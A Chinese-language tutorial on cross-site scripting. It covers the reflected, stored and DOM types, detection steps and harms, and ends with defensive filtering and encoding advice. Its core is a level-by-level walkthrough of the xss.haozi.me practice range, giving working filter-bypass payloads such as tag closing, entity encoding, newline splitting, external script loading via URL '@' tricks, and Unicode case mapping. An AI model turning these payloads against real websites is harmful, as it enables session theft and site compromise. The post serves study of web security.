什么是XSS攻击
Cross-Site Scripting的缩写本应是CSS,但为了避免和Cascading style sheets(层叠样式表)的缩写混淆,将Cross(即交叉)采用交叉形状的X表示。
XSS是注入攻击的一种,攻击者将代码注入被攻击的网页中,其他用户一旦访问该网页便会执行被注入的恶意脚本。XSS漏洞允许攻击者绕过网站安全机制,也可以被攻击者用来进行钓鱼攻击、前端js挖矿、用户cookie获取等,甚至还可结合用户浏览器本身存在的漏洞对用户主机进行远程控制。
XSS攻击的类型
XSS攻击分为三种类型,分别为反射型,存储型和基于Dom。
反射型XSS
也被称为非持久型XSS,是目前最普遍的类型,攻击者将事先制作好的攻击链接提供给用户后,欺骗或诱导用户主动点击该链接即可触发此段XSS代码(网站服务器中并没有这样的页面和内容),反射型XSS通常容易出现在搜索页面。例如某网页上的搜索栏,假若攻击者搜索的字符串包含了一些html标签,通常情况下,搜索的结果会以该样式显示出来,或者搜索的字符串会包含在页面里。但此项却是可以改动的,如若任何搜索的字符串都没有被html编码,就会产生XSS漏洞。
存储型XSS
又名持久型XSS,代码存储在服务器中,一般情况下如果在个人信息或发表文章等地方加入代码,这些代码却没有过滤或过滤不严,那么这些代码将储存到服务器中,当有用户浏览该页面的时候都会触发代码执行,每一个访问该页面的用户都会被攻击,这种XSS特别危险,容易造成蠕虫,大量盗窃cookie。存储型XSS通常存在于允许用户提交数据的地方,如在线留言版等。
DOM XSS
也被称作本地跨站,是基于文档对象模型Document Object Model(DOM)的一种漏洞。DOM是一个与平台、编程语言不相干的接口,允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果会成为展示页面的一部分。DOM中有很多对象,其中一些对象可以被用户所操纵,如url,location等。客户端的脚本程序可以通过DOM来动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而是从客户端取得DOM中的数据后并在本地执行,因此仅从服务器端是没有办法防御DOM型XSS漏洞的,如若DOM中的数据没有经过严格的验证,便会产生基于DOM的XSS漏洞。基于DOM的XSS是反射的特例,其中JavaScript隐藏在URL中,并在其呈现时由页面中的JavaScript取出,而不是在提供服务时嵌入到页面中。这可以使其比其他攻击更隐蔽,并且监控页面正文的WAF或其他防护检测不出恶意内容。
XSS攻击的途径
XSS攻击方法只是利用HTML的属性做各种尝试,找出注入的方法。现在对三种XSS攻击的主要方式进行分析。
第一种:对普通的用户输入,页面原样输出,攻击者通过对JSCODE的伪装,经过某些特定的操作就会跳出一个木马界面,从而取得登录用户的Cookie.
第二种:在代码区内存在有用户输入的内容
第三种:允许用户输入HTML标签的页面,用户可以提交一些自定义的HTML代码。
XSS攻击的检测
- 在目标站点上找到输入点,比如搜索栏,错误页面,留言板等。
- 输入一组”特殊字符+唯一识别字符”,点击提交后,查看返回源码,是否做对应的处理。
- 通过搜索定位到唯一识别字符,结合唯一识别字符前后语法确认是否可以构造执行js的条件(构造闭合)。
- 提交构造的脚本代码以及各种绕过姿势,看是否可以成功执行,如果成功执行则说明该站点存在XSS漏洞。
Tips:
- 通常搜索栏容易出现反射型XSS,留言板容易出现存储型XSS;
- 有些网站鉴于后台可能存在过滤措施,组建的script可能会被过滤掉,因而无法生效或者环境限制脚本执行;
- 通过变化不同的script,尝试绕过后台的过滤机制。
下图为跨站脚本攻击流程图(Cookies)
从图中可以看出:用户访问存在XSS漏洞的站点后触发脚本,漏洞站点给用户返回带有恶意js的页面;用户设备执行该恶意脚本后,攻击者即可窃取用户的数据(cookies),并伪装成用户对漏洞站点进行攻击。
XSS靶场通关实践(xss.haozi靶场练习)
了解完XSS的概念,XSS攻击的主要途径、测试流程及攻击流程后,接下来,就是本文的关键内容了,那就是XSS漏洞的发现以及常见的几种绕过方式,笔者无意间找到了一个可用来练习XSS漏洞绕过的靶场(靶场地址:https://xss.haozi.me/)且看我操作一番……
首先,我们看看靶场布局:左上方为XSS注入点,也就是用户输入的位置,左下方是成功注入后的HTML代码,右边为了方便进行学习绕过,所以就是每一关的主要网页源码了。
熟悉了靶场的环境,接下来就是每一关的绕过了,共计19关,具体如下:
<img src="x" onerror="alert(1)">
或
<script>alert(1)</script>
】
这一关,就是考了个最基本的标签闭合,感觉有点像SQL注入。就是把前面和后面的textarea给闭合掉,让后再写核心代码就行了,我讲一下这个img吧,他是用来给页面加入图片的,图片的地址就是由src来设置的,然后后面那个onerror是一个事件,就是一旦出错,就会执行里面的JavaScript代码。所以我们就把图片的地址胡写一个,让后程序出错,最后执行JavaScript代码,完美。
</textarea><img src="x" onerror="alert(1)"><textarea>
或
</textarea><script>alert(1)</script><textarea>
"><img src="x" onerror="alert(1)">
或
"><script>alert(1)</script>
单引号(左上角那个)绕过
<script>alert`1`</script>
还可用HTML编码绕过
<img src="x" onerror="alert(1)">
黑名单加入了`
HTML编码绕过
<img src="x" onerror="alert(1)">
注释符的闭合符有两种:
<!-- XXX -->
<!- XXX --!>
则可以注释掉前面
--!><script>alert(1)</script>
过滤了以on开头,以=号结尾的字符和含有on和>的字符,我们就用onerror的语法,利用换行符绕过
type="image" src="xxx" onerror
="alert(1)" #alert外的双引号可不加
HTML的单标签也可以解析,则可利用容错性不闭合>
<img src="x" onerror="alert(1)"
加个空格绕过或者换行绕过
</style ><script>alert(1)</script>
或
</style
>
<img src="x" onerror="alert(1);">
源码要求以http://www.segmentfault.com
开头但是并没有限制结尾,所以闭合掉<script>
标签
http://www.segmentfault.com"></script><img src=# onerror="alert(1)
从源码可知过滤了&
不能实体编码绕过,过滤了<
,>
,不能闭合标签
这又用到一个知识点,就是@,如果你访问 www.baidu.com@www.google.com,那么你最后进入的是谷歌的界面,所以这一关,就在自己的服务器上放一个js文件,写上“alert(1)”。但不知道我的不行。就先给出别人的payload吧。xss.haozi.me/j.js 这是题目作者自己写的js文件。
这里利用url的@特性,引入外部js,假设我们访问http://example.com@10.10.10.10
,实际上是http://10.10.10.10
,这里的``会被过滤,过滤后的HTML实体编码在HTML标签属性值中无影响,可以直接解析,所以payload:
https://www.segmentfault.com@xss.haozi.me/j.js
toUpperCase()
函数将字符转换成大写,这里两种方法
HTML不区分大小写
Javascript严格区分大小写
第一种方法在<script>
标签中的src添加,payload:<script src="https://xss.haozi.me/j.js"></script>
第二种方法将js的代码html实体编码绕过<img src=# onerror=alert(1)>
即下面转码后的结果<img src=# onerror=alert(1)>
只有字母和括号可以用编码绕过,但要是单引号双引号之类的,就不行了
多过滤了一个script
用上面第二种方法即可
<img src=# onerror=alert(1)>
这里过滤掉了< / " '
,而且input在注释符//后,这里可以利用换行来逃逸,但是后面的')
不知道怎么过滤掉,查阅资料后发现可以用-->
注释掉后面的内容
即–>’)注释
alert(1);
-->
这里对<字母开头的字符串转换成<_字母并大写,所以基本上所有的标签都被过滤掉了,查阅资料发现阿拉伯字母ſ
大写为S
,但是本身又不是字母,太BUG了吧,长见识了
所以payload:<ſcript src="https://xss.haozi.me/j.js" ></script>
xss代码在onerror属性中,尝试闭合前面的内容
1');alert(1)//
1;
alert(1)
过滤了很多字符,貌似没什么卵用1");alert(1);//
过滤掉后面的内容");alert(1);("
闭合后面的内容
两种都可
过滤了一些东西,但他不是替换为空,而是给转义了,那我们就把转义符给转义了
console.log() 方法:
在控制台上输出信息:
\");alert(1);</script>
XSS攻击的危害
钓鱼欺骗:最典型的即是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者通过注入钓鱼JavaScript脚本以监控目标网站的表单输入,甚至攻击者基于DHTML技术对目标网站发起更高级的钓鱼攻击。
网站挂马:跨站攻击时,攻击者利用Iframe标签嵌入隐藏的恶意网站,将被攻击者定向到恶意网站上或以弹出恶意网站窗口等的方式,进行挂马。
身份盗用:Cookie是用户对于特定网站的身份验证的标志,XSS攻击可以令攻击者盗取用户的cookie,从而利用该cookie盗取用户对该网站的操作权限
垃圾信息发送:在社交网站社区中,利用XSS漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。
劫持用户Web行为:一些高级的XSS攻击甚至可以劫持用户的Web行为,从而监视用户的浏览历史、发送与接收的数据等。
XSS蠕虫病毒:借助XSS蠕虫病毒还可以用来打广告、刷流量、挂马、恶作剧、破坏数据、对目标实施DDoS攻击等。
XSS攻击防御思路
XSS漏洞防御的总体思路是:对输入(或URL参数)进行过滤,对输出的内容进行编码,即对用户提交的所有输入进行过滤,或是对url中的参数进行过滤,过滤会导致恶意脚本执行的相关内容,然后对动态输出到页面的内容进行html实体编码,使脚本无法在浏览器中执行。虽然对输入过滤可以被绕过,但同时也还是会拦截很大一部分的XSS攻击。在输出数据之前对潜在的威胁的字符进行编码、转义是对于防御XSS攻击十分有效的措施。如果使用恰当的话,理论上是可以防御所有的XSS攻击的。对所有需要动态输出到页面的内容,可以全部进行相关的编码和转义。
对输入和URL参数进行过滤(白名单和黑名单) 的主要思路是将容易导致XSS攻击的半角字符替换成全角字符。< 和 > 是脚本执行和各种html标签需要的。我们说对输入的过滤分为白名单和黑名单。黑名单就是列出不能出现的对象的清单,一旦出现就进行处理。还有一种白名单的过滤,白名单就是列出可被接受的内容,譬如规定所有的输入只能是“大小写的26个英文字母和10个数字,还有-和_”,所有其他的输入都是非法的,会被抛弃掉。
理论上,如此严格的白名单是可以100%拦截XSS攻击的,但是现实情况是通常不能进行如此严格的白名单过滤。对于每一个输入,在客户端和服务器端还要进行各种验证,验证字符是否合法,长度是否合法,格式是否正确。因为客户端的验证很容易被绕过,需要在客户端和服务端都要进行验证。这种验证也分为黑名单和白名单。黑名单的验证就是不能出现某些字符,白名单的验证即是只能出现某些字符,建议尽量使用白名单。